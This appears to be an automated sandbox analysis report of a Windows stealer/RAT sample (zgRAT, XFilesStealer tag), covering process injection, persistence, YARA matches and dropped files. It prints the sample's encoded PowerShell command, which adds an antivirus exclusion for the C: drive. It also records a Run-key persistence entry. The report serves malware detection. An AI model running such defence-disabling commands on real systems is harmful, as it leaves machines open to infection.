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Windows Analysis Report
lZmUPfUitK.exe

Overview

General Information

Sample Name:	lZmUPfUitK.exe
Analysis ID:	652388
MD5:	808c44b1b4e11b8b5428c05de17884c7
SHA1:	7ae0a547f38f21b6035e1726bd4700d963ceb8a2
SHA256:	70199c37ff74d3feebd76f55ef786284132979a9b8f14bf1180d1f6b30ebb6a3
Tags:	exeXFilesStealer
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Writes to foreign memory regions

Modifies the context of a thread in another process (thread injection)

Yara detected Costura Assembly Loader

Encrypted powershell cmdline option found

Potential dropper URLs found in powershell memory

Injects a PE file into a foreign processes

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Yara signature match

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Creates a process in suspended mode (likely to inject code)

Contains long sleeps (>= 3 min)

Enables debug privileges

Classification

Process Tree

System is w10x64

lZmUPfUitK.exe (PID: 5532 cmdline: "C:\Users\user\Desktop\lZmUPfUitK.exe" MD5: 808C44B1B4E11B8B5428C05DE17884C7)

powershell.exe (PID: 5780 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA== MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

InstallUtil.exe (PID: 3564 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe MD5: 6EE3F830099ADD53C26DF5739B44D608)

Dwdsyugg.exe (PID: 2416 cmdline: "C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe" MD5: 808C44B1B4E11B8B5428C05DE17884C7)

Dwdsyugg.exe (PID: 6344 cmdline: "C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe" MD5: 808C44B1B4E11B8B5428C05DE17884C7)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.632975548.000001ED0EEB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000F.00000002.634332225.000001ED27600000.00000004.00000001.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000017.00000002.637024650.000001C7FA110000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000017.00000002.637024650.000001C7FA110000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x5d47e:$s1: file:/// 0x5d3da:$s2: {11111-22222-10009-11112} 0x5d40e:$s3: {11111-22222-50001-00000} 0x5a0d5:$s4: get_Module 0x5a1f1:$s5: Reverse 0x5b8f4:$s6: BlockCopy 0x5bf76:$s7: ReadByte 0x5d492:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0000000F.00000002.633968857.000001ED1EFB0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000F.00000002.633387548.000001ED1EEA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000003.528377603.000001899A14D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000017.00000002.630424780.000001C780032000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000003.527464350.0000018999FE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: lZmUPfUitK.exe PID: 5532	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: InstallUtil.exe PID: 3564	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Dwdsyugg.exe PID: 6344	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.2.InstallUtil.exe.1ed0eedb9a8.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
15.2.InstallUtil.exe.1ed1ef60970.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
15.2.InstallUtil.exe.1ed27600000.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
15.2.InstallUtil.exe.1ed1ef38938.3.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
15.2.InstallUtil.exe.1ed0eedb9a8.1.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
23.2.Dwdsyugg.exe.1c7fa110000.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
23.2.Dwdsyugg.exe.1c7fa110000.3.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x5d47e:$s1: file:/// 0x5d3da:$s2: {11111-22222-10009-11112} 0x5d40e:$s3: {11111-22222-50001-00000} 0x5a0d5:$s4: get_Module 0x5a1f1:$s5: Reverse 0x5b8f4:$s6: BlockCopy 0x5bf76:$s7: ReadByte 0x5d492:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
15.2.InstallUtil.exe.1ed1efb09a8.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.3.lZmUPfUitK.exe.1899a00cfa0.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.3.lZmUPfUitK.exe.1899a00cfa0.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x5b67e:$s1: file:/// 0x5b5da:$s2: {11111-22222-10009-11112} 0x5b60e:$s3: {11111-22222-50001-00000} 0x582d5:$s4: get_Module 0x583f1:$s5: Reverse 0x59af4:$s6: BlockCopy 0x5a176:$s7: ReadByte 0x5b692:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
23.2.Dwdsyugg.exe.1c7fa110000.3.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
23.2.Dwdsyugg.exe.1c7fa110000.3.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x5b67e:$s1: file:/// 0x5b5da:$s2: {11111-22222-10009-11112} 0x5b60e:$s3: {11111-22222-50001-00000} 0x582d5:$s4: get_Module 0x583f1:$s5: Reverse 0x59af4:$s6: BlockCopy 0x5a176:$s7: ReadByte 0x5b692:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
15.2.InstallUtil.exe.1ed1ef38938.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.3.lZmUPfUitK.exe.1899a00cfa0.0.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.3.lZmUPfUitK.exe.1899a00cfa0.0.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x5d47e:$s1: file:/// 0x5d3da:$s2: {11111-22222-10009-11112} 0x5d40e:$s3: {11111-22222-50001-00000} 0x5a0d5:$s4: get_Module 0x5a1f1:$s5: Reverse 0x5b8f4:$s6: BlockCopy 0x5bf76:$s7: ReadByte 0x5d492:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 10 entries

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: lZmUPfUitK.exe	Virustotal: Detection: 28%			Perma Link
Source: lZmUPfUitK.exe	ReversingLabs: Detection: 30%

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe

ReversingLabs: Detection: 30%

Source:	Binary string: protobuf-net.pdbSHA256 source: Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Version, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:DefaultNoun, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:InstanceCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:StaticCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:CmdletAdapterPrivateData
Source: powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyCollection, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyString, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNullOrEmpty, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateCount, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateLength, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateRange, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateSet, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Obsolete
Source: powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Type, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MaxValueQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:RegularQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ExcludeQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MinValueQuery
Source: powershell.exe, 00000007.00000002.513459906.0000015D1BD93000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Type, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MaxValueQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:RegularQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ExcludeQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MinValueQuery8Qp

Source: powershell.exe, 00000007.00000003.490179131.0000015D32195000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.517474109.0000015D32195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000007.00000002.515256394.0000015D2A0D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000007.00000002.500098040.0000015D1A071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000007.00000002.515256394.0000015D2A0D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.515256394.0000015D2A0D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.515256394.0000015D2A0D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000007.00000002.515256394.0000015D2A0D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp, Dwdsyugg.exe, 00000017.00000002.630424780.000001C780032000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

System Summary

Malicious sample detected (through community Yara rule)

Source: 23.2.Dwdsyugg.exe.1c7fa110000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.3.lZmUPfUitK.exe.1899a00cfa0.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 23.2.Dwdsyugg.exe.1c7fa110000.3.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.3.lZmUPfUitK.exe.1899a00cfa0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000017.00000002.637024650.000001C7FA110000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects zgRAT Author: ditekSHen

Source: Dwdsyugg.exe.0.dr

Static PE information: No import functions for PE file found

Source: 23.2.Dwdsyugg.exe.1c7fa110000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.3.lZmUPfUitK.exe.1899a00cfa0.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 23.2.Dwdsyugg.exe.1c7fa110000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.3.lZmUPfUitK.exe.1899a00cfa0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000017.00000002.637024650.000001C7FA110000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: lZmUPfUitK.exe, 00000000.00000003.528377603.000001899A14D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameJhvvmuxqtjuqwklxvt.dll" vs lZmUPfUitK.exe
Source: lZmUPfUitK.exe, 00000000.00000003.527464350.0000018999FE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameJhvvmuxqtjuqwklxvt.dll" vs lZmUPfUitK.exe
Source: lZmUPfUitK.exe, 00000000.00000000.357528433.0000018988068000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamepm.exe4 vs lZmUPfUitK.exe
Source: lZmUPfUitK.exe	Binary or memory string: OriginalFilenamepm.exe4 vs lZmUPfUitK.exe

Source: Dwdsyugg.exe.0.dr

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF859065DBA	7_2_00007FF859065DBA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF859065C05	7_2_00007FF859065C05
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF8590682F8	7_2_00007FF8590682F8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF85913463F	7_2_00007FF85913463F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF859133211	7_2_00007FF859133211
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 15_2_00007FF8590812D8	15_2_00007FF8590812D8
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Code function: 23_2_00007FF859072FF5	23_2_00007FF859072FF5
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Code function: 23_2_00007FF85907FEDB	23_2_00007FF85907FEDB

Source: Dwdsyugg.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: lZmUPfUitK.exe	Virustotal: Detection: 28%
Source: lZmUPfUitK.exe	ReversingLabs: Detection: 30%

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

File read: C:\Users\user\Desktop\lZmUPfUitK.exe

Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: lZmUPfUitK.exe	Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\lZmUPfUitK.exe "C:\Users\user\Desktop\lZmUPfUitK.exe"
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe "C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe "C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe"
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6784:120:WilError_01

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

File created: C:\Users\user\AppData\Roaming\Lwwaqb

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_noinjdo0.1qu.ps1

Jump to behavior

Source: classification engine

Classification label: mal88.troj.evad.winEXE@8/8@0/0

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: protobuf-net.pdbSHA256 source: Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: 15.2.InstallUtil.exe.1ed0eedb9a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.InstallUtil.exe.1ed1ef60970.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.InstallUtil.exe.1ed27600000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.InstallUtil.exe.1ed1ef38938.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.InstallUtil.exe.1ed0eedb9a8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.Dwdsyugg.exe.1c7fa110000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.InstallUtil.exe.1ed1efb09a8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.lZmUPfUitK.exe.1899a00cfa0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.Dwdsyugg.exe.1c7fa110000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.InstallUtil.exe.1ed1ef38938.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.lZmUPfUitK.exe.1899a00cfa0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.632975548.000001ED0EEB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.634332225.000001ED27600000.00000004.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.637024650.000001C7FA110000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.633968857.000001ED1EFB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.633387548.000001ED1EEA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.528377603.000001899A14D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.630424780.000001C780032000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.527464350.0000018999FE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lZmUPfUitK.exe PID: 5532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Dwdsyugg.exe PID: 6344, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF85913702E push cs; retf	7_2_00007FF85913702F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FF859136BEA push edx; iretd	7_2_00007FF859136BEB
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 15_2_00007FF859081073 push eax; iretd	15_2_00007FF8590810F1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 15_2_00007FF859083B05 push FFFFFFBEh; iretd	15_2_00007FF859083B07
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Code function: 15_2_00007FF85908573A pushad ; ret	15_2_00007FF859085745
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Code function: 23_2_00007FF859081C9E push ss; retf	23_2_00007FF859081C9F
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Code function: 23_2_00007FF8590772FD push ebx; iretd	23_2_00007FF85907731A

Source: initial sample

Static PE information: section name: .text entropy: 7.998986893463506

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

File created: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe

Jump to dropped file

Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Dwdsyugg			Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Dwdsyugg			Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
